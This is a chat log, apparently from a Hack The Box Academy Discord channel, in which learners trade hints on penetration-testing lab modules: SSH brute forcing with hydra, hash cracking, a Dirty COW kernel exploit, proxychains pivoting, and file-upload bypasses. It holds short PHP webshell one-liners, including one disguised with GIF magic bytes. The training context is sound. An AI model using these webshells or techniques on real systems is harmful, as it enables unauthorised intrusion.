#modules

1 messages · Page 172 of 1

plucky mural
#

Thats not how variables are referenced in Pwsh

#

change that to ${Message}

umbral fulcrum
plucky mural
#

Its on line 261 of the script.

#

you can open with vscode and skip there and make the edit.

ebon minnow
#

Module: Service Authentication Brute Forcing

[ERROR] target ssh://83.136.250.104:22/ does not support password authentication (method reply 4).

I am receiving this error, in this given module

umbral fulcrum
kindred jewel
#

Can I please get a hint on "Footprinting" Host Based Enumeration - DNS. I'm stuck on What is the FQDN of the host where the last octet ends with "x.x.x.203"?
I tried enumerating using dnsenum seclists 5000 of the top 1 million domains, no dice. I tried an iterative script that did dig -x for 10.129.[1-256].203 with no results. Now I'm enumerating using dnsenum again but with the 110,000 top subdomains but I'll be waiting for a while..

umbral fulcrum
# plucky mural No, just that one.

BTW did u tried to use Kerbrute??
cause I think I need a userlist for that (which make it kind of difficult since there's "2913 accounts")

acoustic owl
ebon minnow
kindred jewel
plucky mural
plucky mural
#

I barely use kerbrute.

umbral fulcrum
#

also in the long run it's better

plucky mural
safe dock
#

Guys which is the best module for beginners

acoustic owl
safe dock
#

At a time how many module I can use

cedar void
#

Penetration testing Process is too

safe dock
#

Oke then

upper ruin
#

@fathom pendant I found out something interesting yesterday, I am telling you this for future instance, in case you don't know it: You can set the timeout on the SMB for bigger files: smb: > timeout <n> (n- amount of time you wish to be set).

clever bronze
#

Hi guys. currently trying to complete the 'windows fundamentals' module and I'm on the skill assessment. i'm up to the step of creating a local group however I keep getting 'system error 5/access denied' when i try. would anyone have any hints as to what to do next?
Ive tried adding myself to the administrators group, giving myself full permissions but im once again met with the same error.

kindred jewel
#

Thanks @acoustic owl a good reminder to branch out into different lists, I really thought if it had 5000 it had them all!

ebon minnow
acoustic owl
ebon minnow
#

posted that before the screenshot^

#
hydra -L bill.txt -P william.txt -u -f ssh://83.136.253.251

this command doesnt work because apparently the ssh service on the machine im supposed to brute force with hydra may have been set to "no password"

#

i did try resetting the machine mind you

acoustic owl
#

What question do you need help with? There are two questions

ebon minnow
#

The first one

#

i know im supposed to brute force one user but that doesnt work either

acoustic owl
#

With this task you get a Docker container. This means that you must always use ip AND port.
By the way, the username is already given to you. Look at the question again.

ebon minnow
acoustic owl
ebon minnow
#

so the IP of the target is a random machine?

kindred jewel
acoustic owl
#

Your destination can only be reached via this port. Everything else is not your target server

ebon minnow
#

SMH

#

why would they ask it this way

acoustic owl
#

No, it's a computer with theoretically thousands of Docker containers.
Your container, i.e. your target, can only be reached via the specified IP:port combination. Everything else is not your target server.

acoustic owl
analog dock
acoustic owl
#

^

lusty thicket
acoustic owl
clever bronze
acoustic owl
#

It is actually well described here

ebon minnow
#

i will keep that in mind, i forgot 🙂

kindred jewel
past compass
#

I have a question regarding the "Active Subdomain Enumeration" module. I completed all the answers but I'm not entirely sure if the rationale behind each step is correct. Could someone go through the notes I wrote and confirm I've correctly understood each question, and how to approach it?

upper ruin
#

Wsg y'all.
Password Attacks - Hard Lab - I have been trying to dump the sam hashes, but no success.
Anyone got ideas?

p.s - Already mounted the .vhd and cracked the bitlocker hash.

#

I tried secretsdump and samdump2.

white trench
#

hello i have a question. Is hackthebox’s training refer to modules?

shadow anvil
#

Thank you. Turns out I rolled the local admin pw in an earlier attempt, that ended up modifying the hash i needed for the answer. Went down a few rabbit holes on this one, but a good learning experience. Thanks again. 🙂

lofty rivet
#

Here's a question about not any one particular module, but rather all of them. Would anyone be willing to share their note-taking/report drafting "flow"? I'm still pretty early on, and I understand the concepts and importance of note taking. However, I'm curious how you guys are taking notes in a way that isn't interrupting your current thought process or clunking up your attack process. Hopefully that made sense?

upper ruin
#

Theoretical and practical. The most important info that regards examples of usage and concepts are going to my theoretical document which takes into consideration a whole module - So 1 .docx theory.

#

The next one is a practical .docx where I have taken screenshots of the way I have gotten to the flag.

#

And finally, I make a file on paint3D (doesn't really matter) where I draw the chain/attack vector.

#

So there's 3 types of documentation I do.

#

I can provide you with an example in DMs.

#

Of the way I take notes down.

lofty rivet
#

Thanks for sharing! Right now I seem to just "get in the zone" and push through a machine/excercise and taking notes becomes an afterthought rather than an active part of the engagment

upper ruin
#

All good, man. Ping me if needed.

lofty rivet
#

I think I just need to get in the reps of note taking for it to become part of my process

upper ruin
#

Yeah.

next bronze
#

note down the commands at the end of each attack chain/major steps, then you can furish it out afterwards, the commands themselves will be enough to help you remember what you did

upper ruin
#

That's an example of the amount of screenshots for the password hard lab.

upper ruin
#

Someone made a file specifically with these commands.

upper ruin
# lofty rivet I think I just need to get in the reps of note taking for it to become part of m...

https://youtu.be/dRW1Gxmu__Q?si=srPbY-NIIGuV9nov This is guide for CPTS but has high emphasis on note taking.

Recently I passed the CPTS exam by HackTheBox. In this video I discuss my experience with the course and exam, as well as how it differs from the OSCP.

HTB Discord: https://discord.com/invite/hackthebox

Chapters:
0:00 Introduction
0:29 The Course
3:35 The Exam
5:38 The Report
8:11 Tips & Tricks
11:46 FAQ: How does CPTS compare to OSCP?
18:55 O...

▶ Play video
#

Istg I am gonna get that CPTS and hang that on my wall.

next bronze
#

can't image using ms word to notes ummmm

round sable
#

I can see the ||code|| ,and with ||iframe|| I can extract most of the ||orders in the xml|| except for some ||comments that are arrays||. I also tried ||ssrf with interactsh, as an alternative to iframe for exfiltration||, but it failed, so I am left with only ||iframe for exfiltration||. Am I on the wrong path ? If yes could you give me a hint ?

upper ruin
next bronze
#

yeah that's fine, anything but ms word kek

fluid basin
#

in the module shells and payloads I was trying to follow the laudanum demo but I cant find the webshell I just get 404s. (\files\shell.aspx)

#

I also attempted \files\shell.aspx

#

it wont let me put 2 dashes but I did attempt that as well lol

fathom pendant
#

I just redid this one the other day and got it just fine ¯_(ツ)_/¯

fluid basin
#

yea both ways

#

I just got it to work by booting up my vm, pwnbox problem ig

wanton jasper
#

I tent to dump everything in notepad ++ while I am attacking then move it to cherrytree after and clean it up there. I was using obsidian for a while it was great too.

#

its extra work but its the way I am lol

zealous fiber
#

Hello could someone help me with the HTTP Response Splitting Section of the HTTP Attacks Module?

clever bronze
#

@kindred jewel i had to run powershell as admin 😩

misty current
round sable
# misty current You need to try ||xpath injection||

Of course I'm doing it already, that's how I extracted stuff, but this doesn't answer the questions I am stuck in, which are : am I exfiltrating correctly, and what data am I missing in the exflitration, please check again my previous comment

misty current
lusty hearth
round sable
misty current
round sable
misty current
#

What should be relevant is only the line of code which takes user controlled input.

round sable
lusty hearth
#

no prob!

buoyant escarp
#

odat docker image doesnt exist for my m1 cpu...i just hate this module so much xD

gleaming abyss
#

Hello. I'm stuck on the Linux Module, i have googled, read manuals and tried the best I can.
The question is: How many total packages are installed on the target system?

next bronze
#

section?

gleaming abyss
#

u mean this? File Descriptors and Redirections

next bronze
#

did you try apt list --installed?

gleaming abyss
#

yes

next bronze
#

look at the first few lines of the output to adjust the number

storm hedge
#

Hello, I have a stupid question regarding authebtication coercion chapter in the ntlm relay attacks.
For instance, are the Rpc methods used(RpcOpenPrinter, RpcEFcDecryptfile, ...) implemented server side or client side?

next bronze
#

server side, it coerces a server into initialing a ntlm auth with your listener

gleaming abyss
next bronze
#

apt list --installed | head what do you see?

gleaming abyss
#

a warning. and why "| head", i thought i should use "| wc -l"

next bronze
#

because I want you to take a look at the first few lines of the output, you see the extra line there?

gleaming abyss
#

yup

#

blanks?

high reef
#

Hey there

#

i need help on LFI

next bronze
#

there's one extra line before the packages are listed, just -1

storm hedge
#

@next bronze so those are the names of the methods implemented on the server, and then they get called from the client?

high reef
#

i'm on this section here

gleaming abyss
high reef
#

here is what i have tried

buoyant escarp
#

oracle-instantclient-devel and oracle-instantclient-sqlplus cant be located, anyone came across this issue?

next bronze
supple gorge
#

How to find maker of a module?

aka Introduction to Digital Forensics

misty current
#

It should show you under the modules details

supple gorge
#

gotcha, I was looking at the module completed page

#

are those their discord handle?

#

I wanna reach out to them to ask for the intended solution

misty current
#

I know few of them that have it the same as their discord handle. Not sure about everyone else.

supple gorge
#

looked for those names at the search function for this discord but found nothing

#

volfar, leoleg97, MadhukarRaina

rustic quiver
#

Hey guys, i'm trying to download the opnvpn so I can do some hacking challenges, but how do I actually get the file into my VM in the first place?

next bronze
#

volfar is in the server, but not sure about just dming

supple gorge
supple gorge
rustic quiver
supple gorge
#

oh nvm idk how discord works, I can't do @volfar

storm hedge
#

@next bronze thans a lot.
I wasn't sure

next bronze
#

I have no clue, they don't have any messages on the server kekhands

supple gorge
#

who in this earth could shed some light in this accurse dfir module question? lol

#

maybe I'll message support

bright quiver
#

Hey all - i am trying to run msf for the attacking common application module for the section attacking wordpress. I am trying to get the flag and use this method...but the payload doesn't go through at the end...any advice here?

turbid jewel
gray chasm
#

BROKEN AUTHENTICATION ---> Skills Assessment - Broken authentication, I have decoded the cookie, but when I place the user support cookie, it tells me this, can someone help me?

#

I have fuzzed for the user admin, administrator and others but it tells me that the user does not exist...

supple gorge
#

don't see an option to send a message to support

bright quiver
#

anyone on assistance with the above ask for the section attacking wordpress under attacking common apps module?

next bronze
next bronze
supple gorge
wanton jasper
#

I agree on the webshell written to theme

bright quiver
#

@next bronze

does it matter which i use?

||system($_GET[0]);

system($_GET['cmd']);|| and then i am assuming i can just curl the file?

wanton jasper
#

super simple and lots of webshells to choose from out there

#

if you are able to write it into a theme you should be able to browse that path and have a webshell to use. I have not made it to that section but that is how I have done other boxes. I dont see why this would be any different

next bronze
#

^ this, and doesn't matter what you use as long as the paramerters are passed correcrly

wanton jasper
#

I forget the specific webshell that I have seen people use here but there are a lot of them

#

its nice and looks like a terminal. Really well made

bright quiver
#

ok...wasn't sure if it mattered much, but thanks..will go from here and see

next bronze
#

p0wny-shell? probably too long to write into a theme, the most basic one liner will do

buoyant escarp
#

in Footholding/Oracle TNS i was able to upload a reverse shell, login and enumerate, now my Pwnbox died, and i cant get odat.py running again, can please someone give me a hint, do i even need to get a reverse shell and manually dig in the machine?

rustic quiver
#

Guys, i'm trying to pwn the dancing box in the starting point module and i'm so close to finishing but for some reason I cannont connect to Workshares, can anyone help?

next bronze
buoyant escarp
next bronze
#

not sure about that, I used sqlplus, use pwnbox then

fathom pendant
buoyant escarp
#

it doesnt find dependencies for sqlplus when running the installer script provided

#

oracle-instantclient-devel
oracle-instantclient-sqlplus
cand be found with sudo apt install ....

next bronze
#

try running apt update first

buoyant escarp
#

i did

#

why tf does pwnbox doesnt even have docker installed

fathom pendant
#

Because it's it's own virtualized web instance kek 2hard

next bronze
#

so oracle-instantclient-devel is in the kali deb repo but not parrot kek

fathom pendant
#

I'm gonna have to grep and see if it's in mine and if so: then they removed it

buoyant escarp
#

no way, im not gonna deal any longer with this bs, i wanna exploit and not fix tools xD
i skip this Oracle TNS, dealing nearly a day on this crap

next bronze
#

you got the creds right?

buoyant escarp
#

ya

next bronze
#

dm

buoyant escarp
#

IPMI is interesting, never heard of it before 😮

still spear
#

Hello guys can some one help me on Borken Authentication Module? on Brute Forcing Passwords?

i understand all and as said we need the rockyou-50 but there is only one password matching for it but this is not the right one... maybe someone can tell me what im doing wrong

sterile epoch
#

I tried to extract the service hash for the mssql database. I am trying to crack it using -m 1000 and the pws wordlist provided in resources. I still cannot crack it. any advice as to what to do now?

hallow kiln
#

That's not the right hash mode

next bronze
sterile epoch
#

ok

#

I will try other ntlm hashes

hallow kiln
#

The module mentions what kind of hash that is and which mode goes with it

still spear
next bronze
#

that's not the right password, find the password policy by creating an account

still spear
#

can i write you a pm? dont want to spam all here?

sterile epoch
#

So I followed a blog for ntlmv2 hash crack got the mode but I am getting separator error

native turtle
#

Hi guys I'm stuck on password attacks lab - medium. I've both creds of Jason and Dennis ssh, any hints on how to get root?

#

with Dennis you mean?

sterile epoch
next bronze
native turtle
#

yeah I've already cracked his id_rsa

sterile epoch
#

then ssh with it

sterile epoch
#

you are on the right path

#

use the ssh key to log in

native turtle
#

|| test ||

#

ok sorry

sterile epoch
#

try to log in as that

next bronze
#

grab the full hash

sterile epoch
native turtle
#

got it! thx

sterile epoch
#

rockyou also did not work

obtuse verge
#

If anyone is available to chat about the "CrackMapExec Skills Assessment" I'd appreciate it. Stuck on Q3...

next bronze
sterile epoch
#

Module attacking common services
section attacking sql databases

autumn pilot
#

Also take a break if you are feeling that you are hitting a wall

#

Doing everything on autopilot is not something that I would recommend

plucky mural
next bronze
#

it should be in rockyou, make sure you got the right hash, capture it again

sterile epoch
#

I enumerated with the cred provided in the section. discovered 2 databases hmail and flagdb
I tried to access them but could not
I tried to look for people to impersonate. there were none
I then tried to extract the ntlmv2 hash and this is where I am

#

I have tried to crack the hash in -m 5600 with wordlists provided in the section and rockyou.txt both resulted in nothing

sterile epoch
#

but both the wordlist did not provide any results

#

I even tried the user wordlist provided in the resource

next bronze
#

might be how you're copying it, copy the full hash, then use a text editor to past it in

sterile epoch
#

got the pass

#

I used the wordlist at /usr/share/wordlist/rockyou.txt

final mica
#

Module: Linux Privilege Escalation
Section: Kernel Exploits

#

downloaded exploit and ran gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit but cant run it... even in sudo

next bronze
sterile epoch
final mica
#

i mean as root

#

─(root㉿kali)-[/home/kali]
└─# ./kernel_exploit
error: Operation not permitted

#

why is this operation not permitted?

next bronze
sterile epoch
#

The small rockyou worked and the seclist rockyou failed guess both are different

next bronze
#

oh I meant the rockyou you used originally only had 333 password in it

#

the one you used should be the big one

cedar void
cedar void
#

Nevermind

fluid basin
#

Is there anyway to do the shells & payloads live engagement from your own personal vm? If not any tips on speeding the lab up a bit?

fluid basin
#

reverse shell to my own vm?

sly dome
#

no

#

i could repeat my statement but would not make it clearer

sly dome
final mica
#

htb-student@NIX02:~$ ./kernel_exploit
./kernel_exploit: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./kernel_exploit)?

#

what do i do about this?

sly dome
#

compile it statically

sly dome
final mica
#

gcc -static -o kernel_exploit kernel_exploit.c
like this?

sly dome
#

try instead of asking

#

this field is 99% about try and error

final mica
#

so i got htb-student@NIX02:~$ ./kernel_exploit
usage: dirtyc0w target_file new_content
thanks... i will try to figure it out from here

sly dome
#

nice 💪🏻

#

thats working

#

in the github you have some examples

final mica
#

okay

#

tyvm i was so confused

sly dome
#

nevermind

#

be more confident about your skills

#

at the end you were doing it by yourself

final mica
#

🙂

buoyant escarp
#

Footprinting / Assessment Easy

the hint says, to keep in mind that an ssh key needs specific permissions.

so i think i have to get the private key, which may lay on the ftp.
anonymous login not possible, but with given creds (server dont show me files).
there is ftp p21 and ccproxy-ftp 2121 on the system.

i dont want to use brute forcing or a metasploit module for now.

what steps would you guys make?

buoyant escarp
#

yeah got some udps too
53, 68, 623, 28493
i already tried the 623 for brute forcing IPMI

haughty pond
#

Is the Citrix Breakout (Windows Privesc) unstable for you guys ? It keeps crashing before i can do anything...

heavy marsh
#

On the pivoting, tunneling, and port forwarding skills assessment, how am I supposed to find the right IP address for the username I found on the pivot machine that starts with v?

hallow kiln
#

CME, check out password attacks

thorn urchin
#

enumerate is always the answer

buoyant escarp
#

i did use some dig to get the zone file, got some IPs, but which 3 should i test?

thorn urchin
#

test all of em

buoyant escarp
#

but i do not need to use dnsenum right? because they say its an production server and im not allowed to use exploits/brute. so ima just test different stuff like mail login on those ips found by dig ?

heavy marsh
#

If I had to use proxychains to RDP into a machine, how do I transfer files with SMB if there is no path to my attack machine?

#

Is there a way to do the transfer with proxychains?

#

I tried using impacket-smbserver and then on the target machine I put in "net use n: \10.10....." and it is telling me that there is no path to the network.

#

This is the error I received

#

Basically I'm trying to get the SocksOverRDP zip folder onto the target machine in the skills assessment for pivoting, tunneling, and port forwarding.

thorn urchin
#

rdp has built in file transfer capabilities

next bronze
#

mount a drive over rdp, if you want the internal host to be able to reach your attack machine you need to set up a reverse tunnel

buoyant escarp
#

or if you have a cloud vps send files there and from victim use scp or wget or something 😄

thorn urchin
#

were talking about in the module lab which wouldnt have net access

#

so in real world sure thats viable, but not here

buoyant escarp
#

ah got it

heavy marsh
#

I went back and referenced that section and didn't see anything.

#

Or was it in this module?

next bronze
#

it's under Miscellaneous File Transfer Methods from the File Transfers module

heavy marsh
#

How do I find the IP of the user with the first letter v in the username.

thorn urchin
heavy marsh
thorn urchin
#

you can proxychains anything that makes full tcp connections using standard socket libraries

#

i.e yes

heavy marsh
#

This is what I have so far prior to starting nmap, which ip should I be using, the 16.6 or 16.5?

buoyant escarp
#

finally i got the god damn ssh key for footprinting - easy lab

heavy marsh
#

I guess I mean which subnet?

#

I'm on 16.5 currently, but I don't really understand this output.

heavy marsh
thorn urchin
heavy marsh
#

I understand subnets, I'm just not sure why this is set up the way it is.

#

This one is hard.

thorn urchin
#

¯_(ツ)_/¯

#

still cant answer for you on this, its part of the skill assessment

heavy marsh
#

I'm not getting any results though on proxychains for 16.6. Will this even work for that subnet?

thorn urchin
#

Nobody can answer that for you

#

you should have your own map of the network and how your proxies are setup. This map can be mental or it can be literal

heavy marsh
thorn urchin
#

Because its a skill assessments

analog charm
#

guys, am i wasting my time learning if If I'm not good at this

thorn urchin
#

Its assessing your skill, not your ability to ask others to solve it for you

#

Or Ill put it another way. if youre so stuck you cannot figure out this step without help then I gurantee you will fail the exam. This is mandatory knowledge and needed skill.

proven pasture
#

I keep flying through things easily until I get to the assessment, @analog charm. I am stuck on the very final part of the File Upload Attacks. I got through everything else, but now I just cannot get the final item up. You are in good company. We all start somewhere.

thorn urchin
#

Its normal to get stuck

thorn urchin
#

Being able to push through and figure it out separates the people with no capability and those with capability to succeed

analog charm
buoyant escarp
#

finally, that EASY lab wasnt easy imo xD

pearl torrent
#

As a mode of encouragement, hack the box easy, does not translate to the definition of the word easy most use.

fathom pendant
#

footprinting?

proven pasture
heavy marsh
thorn urchin
#

you cant ping with proxychains

#

thats ICMP

fathom pendant
heavy marsh
#

No I pinged from CMD on the pivot host

thorn urchin
#

I know

#

you cant ping through proxychains

#

because its ICMP

fathom pendant
thorn urchin
#

proxychains cant proxy icmp traffic

fathom pendant
#

^

analog charm
heavy marsh
#

I did proxychains nmap -v -sn 172.16.6.1-255

#

no results

buoyant escarp
pearl torrent
#

Google how to use nmap and proxychains.

proven pasture
fathom pendant
# buoyant escarp ye

definitely for footprinting (and the skill assessments in general) read the god damn brief

#

it helps to at least know a portion of the services we might be encountering :)

thorn urchin
heavy marsh
#

I'm just using what was in the module

thorn urchin
#

-sn is to not port scan, so it has to use icmp or stuff like port 80 for host discovery

buoyant escarp
thorn urchin
#

and icmp doesnt chain through proxychains

next bronze
thorn urchin
#

you cant copy paste through stuff

heavy marsh
next bronze
#

read the section

heavy marsh
#

I didn't copy and paste, I changed the IP and range to cover 1-255

thorn urchin
#

....

pearl torrent
thorn urchin
#

youre running commands and flags without understanding what they do. thats copy pasting

proven pasture
#

I do need some direction, please. I know it is an assessment, and I do not want the actual answer, but for the File Upload, all I can seem to do is the SVG stuff. Everything else is giving me a message about it needing to be an image.

#

Only images are allowed

#

That

heavy marsh
thorn urchin
#

well what conclusions can you draw from this

fathom pendant
#

One more important note to remember here is that we can only perform a full TCP connect scan over proxychains. The reason for this is that proxychains cannot understand partial packets. If you send partial packets like half connect scans, it will return incorrect results. < from the esction you screenshotted

thorn urchin
#
  1. that host doesnt exist
  2. that subnet isnt where you should be looking for
  3. your proxy doesnt reach the subnet
#
  1. you did a syn scan not a connect scan
next bronze
thorn urchin
#
  1. the host firewalls those ports
proven pasture
heavy marsh
# thorn urchin well what conclusions can you draw from this

That I can ping from the pivot host from CMD and get two IPs. I ran a script to ping all of the 172.16.6 IPs and got two. So I know one of them is the one I need. I am just going back to figure out how I could have done that using the methods taught thus far in the modules, because the script I used was just something I found online. I'm trying to reinforce my knowledge of the methods taught, not use workarounds.

plucky mural
thorn urchin
next bronze
proven pasture
heavy marsh
#

I am trying to use something from the modules to solve this. It's frustrating because now I know the answer, but can't find it with any of the methods taught on HTB.

thorn urchin
#

youre not paying attention

fathom pendant
#

^

plucky mural
proven pasture
next bronze
#

yeah webshell is ok, not a reveshell

plucky mural
heavy marsh
# thorn urchin youre not paying attention

To what?! I already know the answer, but I got it using a different method. I would like to know if there is a valid way to do this with the course material, or if it's one of those classic HTB Academy "great you figured it out even though we didn't teach that material" scenarios.

thorn urchin
heavy marsh
#

I'm trying to make sure I didn't miss anything. There's a lot of material here.

plucky mural
thorn urchin
#

youre just not understanding the material and then getting surprised when you dont understand the answer

#

and then blaming htb

#

again

heavy marsh
#

I already have the answer

thorn urchin
#

How do you think I figured it out?

#

Do you think I guessed?

#

Do you think I used methods outside the course?

heavy marsh
#

Did you use a ping sweep or something from the module. If so what module?

thorn urchin
#

Cause I didnt. I had proper fundamentals and understood the material when it was taught

thorn urchin
pearl torrent
#

You two should duel...

plucky mural
plucky mural
thorn urchin
pearl torrent
#

I don't disagree with you

next bronze
thorn urchin
#

He doesnt get the material. doesnt get the tools, and then complains that HTB hasnt taught him correctly

heavy marsh
#

which pivoting module?

proven pasture
thorn urchin
fathom pendant
plucky mural
heavy marsh
fathom pendant
#

"probably" I'm making assumption for you to clarify - not say 'probably'

heavy marsh
thorn urchin
#

No specific section, understanding taught concepts

proven pasture
heavy marsh
#

So I'm assuming the module would be this

plucky mural
thorn urchin
#

yes

heavy marsh
#

and then these are the sections

thorn urchin
#

correct

pearl torrent
#

Module > Sections

heavy marsh
#

I'm just trying to figure out what section then

thorn urchin
#

no specific section

thorn urchin
#

all the sections are different tools for pivoting

pearl torrent
#

The concepts are the important peice

thorn urchin
#

you need to piece things together conceptually

heavy marsh
#

I know I'm missing something and I could use a hand, it seems like everyone on here is so combative.

proven pasture
#

Thanks I am just sick of the Only Images Are Allowed

heavy marsh
#

I just want to know what I'm missing

thorn urchin
#

Because everytime someone tries to lead you down to figuring out the answer you start crying about not being handed the answer or that htb didnt teach you it just cause copy pasting doesnt work

#

and when told that lack of fundementals is likely the core issue. you claim you have the fundementals

plucky mural
thorn urchin
#

its combative because you rarely take responsibility for your own struggle

proven pasture
plucky mural
thorn urchin
#

I listed multiple scenarios that could be causing your issue in proceeding, and you dismissed a couple of them(which good! you should, be eliminating the unlikely scenarios first!) and then you gave up and didnt acknowledge any of the others ot try to troubleshoot those scenarios

heavy marsh
#

So I am convinced that there is no other way to do this portion of the skills assessment without using the ping method directly from the pivot host from the CMD line.

plucky mural
thorn urchin
#

And I told you thats wrong

heavy marsh
#

I found the command on the forums when I got stuck

pearl torrent
#

It's giving...

fathom pendant
heavy marsh
#
plucky mural
pearl torrent
heavy marsh
#

The ping sweep worked, and I don't see anything else that would work besides that.

#

I'm not going to post it because I'm pretty sure it would be a spoiler.

thorn urchin
#

it would and congrats for cheating yourself once again

#

Gunna be real useful for the exam

heavy marsh
#

the one that starts with "for /L %i in..."

final flint
#

Password Attack Lab - Medium

Everyone previously in the discord has said they need to get to dennis for root access. I have no idea how they got this info, as i'm currently logged in as ||json in the mysql|| and see dennis but not sure how you're supposed to know to use him

plucky mural
plucky mural
fathom pendant
#

you get creds, so why not just say 'Fuck it' and try them

heavy marsh
pearl torrent
#

This is the skill assessment for pivoting/tunneling you are struggling with right?

final flint
fathom pendant
thorn urchin
#

and hes struggling with host discovery through proxychains

pearl torrent
#

Did you try pivoting or tunneling. 😄

fathom pendant
#

LMAO

thorn urchin
fathom pendant
#

first thing I do when i gain access to a system is check /home/ (or for windows C:\users\)and see if /root/ is left improperly managed

heavy marsh
thorn urchin
#

I actually already told you when troubleshooting your issues

fathom pendant
#

^

heavy marsh
#

I feel like I've tried everything and I'm stuck

final flint
heavy marsh
#

well, I'm not stuck, I have the answer, I just want to know the other method

thorn urchin
#

or rather I was leading you to solving it but you started ignoring any advice I was giving lul

plucky mural
thorn urchin
heavy marsh
thorn urchin
#

its that simple

heavy marsh
#

and I used the 17.6 vice 17.5

fathom pendant
thorn urchin
#

No, you tried nmap with proxychains incorrectly and it didnt work

heavy marsh
#

Yeah then I did the -Pn

thorn urchin
#

and you also never confirmed that your proxy was correct

heavy marsh
#

proxychains nmap -v -Pn -sT 172.16.6.1-255

pearl torrent
#

and you're proxying how

heavy marsh
#

and I am already in with proxychains through rdp for the first host.

#

I used ssh -D 9050 for the initial one

#

then the proxychains xfreerdp

#

So am I missing something?

proven pasture
#

Okay, if I could get one question answered why am I getting only images are allowed when the file is just shell.jpeg and Content-Type: image/jpeg

#

Regular images are uploading

pearl torrent
#

I'm not really sure what your actual question is at this point to be honest

next bronze
plucky mural
plucky mural
proven pasture
#

I tried jpeg and jpg depending on the file extension

#

What are magic bytes?

zealous raptor
#

any of you guys here working in the field?

plucky mural
next bronze
proven pasture
#

I did try gif and GIF8

next bronze
#

and if that didnt' work, try other formats

plucky mural
proven pasture
#

I did try to upload an image with a double extension and that did work so it is the file itself.

heavy marsh
proven pasture
#

This is what I have

Content-Disposition: form-data; name="uploadFile"; filename="test.phar.gif"
Content-Type: image/gif

GIF8
<?php system($_REQUEST['cmd']);?>

and I am getting this

#

HTTP/1.1 200 OK
Date: Sat, 30 Dec 2023 01:29:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 23
Connection: close
Content-Type: text/html; charset=UTF-8

Only images are allowed

heavy marsh
#

So I'm guessing nmap proxychains is not the method?

#

Can I get a hint please as to what is the correct method?

pearl torrent
#

The correct method for WHAT exactly?

heavy marsh
#

For getting the ip addresses for the 172.16.6 subnet

#

I already found them for the skills assessment in pivoting tunneling and port forwarding, but I was asking earlier about how to find them without pinging the pivot host.

#

Or I should say pinging FROM the pivot host using the cmd line in windows

next bronze
plucky mural
proven pasture
proven pasture
plucky mural
next bronze
#

you can add jpeg magic bytes but gif is easier yes

plucky mural
plucky mural
proven pasture
plucky mural
proven pasture
proven pasture
#

I will try I am just sick of this darn only images are allowed no matter what I do. I think it has actually almost been five hours.

heavy marsh
thorn urchin
#

bummer. worked for me

heavy marsh
#

I used proxychains nmap -v -Pn -sT 172.16.6.1-255 and directly to the ip that I knew it was.

#

Got a whole lot of this

pearl torrent
#

Out of curiousity... where are you getting 6 from and why

heavy marsh
#

From the pivot host

pearl torrent
#

So, what are your tunnels.

heavy marsh
#

When I connected to 172.16.5.XX

pearl torrent
#

Think about this carefully.

heavy marsh
#

Tunnels I used:
ssh -D 9050 -i id_rsa webadmin@<ip>

then I used proxychains xfreerdp to go to the 172.16.5.XX host

pearl torrent
#

yup... and then what?

plucky mural
proven pasture
heavy marsh
#

I got into the RDP session and pinged the 172.16.6.XX range because proxychains nmap was showing everything as down in that range

proven pasture
#

I have upload.php and common-functions.php

plucky mural
#

cool from here its just spoilers.

heavy marsh
#

I mean I first used the hint to get creds/username, but then that's what I did to find the ip for those creds/username

#

I'm all finished with the module now

#

I just want to know what the alternative method was to finding the other ip besides what I did.

next bronze
pearl torrent
#

Think about what your tunnel is actually letting you touch.

heavy marsh
#

Everything was easy besides trying to get the IPs

pearl torrent
#

That is not correct...

heavy marsh
#

I used mstsc.exe and used the remote desktop connection, so yes I had a path.

#

It was finding the ip that was the issue.

pearl torrent
#

Let's try this. Are you able to nmap the first subnet, i.e 172.16.5.x

thorn urchin
#

you never proxied to the host. you used a different tool to complete the final hop

#

a hop nmap never had access to

fathom pendant
#

^

heavy marsh
fathom pendant
#

always remember the a <--> b <--> c's

thorn urchin
#

you needed to setup a second pivot on the final host before your target

pearl torrent
#

You're tunneling incorrectly.

#

Moreover incompletely.

heavy marsh
#

ssh -D 9050 -i id_rsa webadmin@<ip>

then I used proxychains xfreerdp to go to the 172.16.5.XX host

#

what else am I missing

pearl torrent
#

Think about it...

fathom pendant
#

if !b <-- c then a ! -->b -->c

thorn urchin
#

the pivot for 172.16.5 to 172
16.6

#

instead you just connected directly from the middle host

fathom pendant
#

think of the double pivoting module

thorn urchin
#

you never pivoted a second time

pearl torrent
#

You can reach 172.16.5.x from your initial foothold... there is a second pivot to 172.16.6.x FROM 172.16.5.x

fathom pendant
thorn urchin
#

which oh hey one of the scenarios I told you could be at fault, your pivot was wrong

heavy marsh
fathom pendant
pearl torrent
#

My dude...

#

That is not a tunnel

fathom pendant
#

you're missing the point

heavy marsh
#

What is the missing step to find the ip?

thorn urchin
#

brother

pearl torrent
#

Are you trolling us hard rn?

thorn urchin
#

you were explicitly told

next bronze
#

that's what we've been trying to tell you

fathom pendant
#

my brother in christ

#

you are tunneled to your attack vm from a, so you can reach b

thorn urchin
fathom pendant
#

you never did a second tunnel from b back to a to actually connect thechain

heavy marsh
pearl torrent
#

I suggest you study some more networking fundamentals.

next bronze
#

your first pivot host cannot reach the second subnet, trying pinging from there since you have ssh

fathom pendant
thorn urchin
fathom pendant
#

no, the proxychains commands USES the proxychains config to connect to proxied networks

heavy marsh
#

So why was I able to RDP and get to the 16.6 then?

fathom pendant
#

it doesn't magically create new proxies

heavy marsh
#

I'm so confused!

fathom pendant
#

you rdp into b yes?

heavy marsh
#

yes

thorn urchin
fathom pendant
#

from that host you used rdp FROM THAT MACHINE to connect to C, but you didn't actually 'proxychain' your way to C, you just used what's available on the system

thorn urchin
#

this is why I said you lacked subnet fundementals and kept saying to create a map of the network and connections

#

but you never did did you

fathom pendant
#

if you set up the chain CORRECTLY you would be able to
1; scan the right subnet
2; xfreerdp from your attackhost directly to C

#

without needing to go to B then rdp from B to C

thorn urchin
#

MarcieLee is correct

fathom pendant
#

the double pivoting module is something you should DEFINITELY revisit

#

because it's basically this scenario

next bronze
#

you completed the assessment but it's clear that you don't understand the tools that you used

#

and networking

proven pasture
# plucky mural tip : ||its the content-type, read the web server php files.||

I am not that great at regex, but it looks like the file has to end in a 'g'. I also see think that the regex says that the file has to be something like one of the three main image types other than gif. I did try those three but the vector graphic I have no idea how to use that other than what the module shows.

heavy marsh
#

How do I connect back without knowing the 16.6 ip?

#

I eventually could, but that was using the ip I found by running the ping script in cmd on the 17.5.

pearl torrent
#

Only jesus can help you at this point.

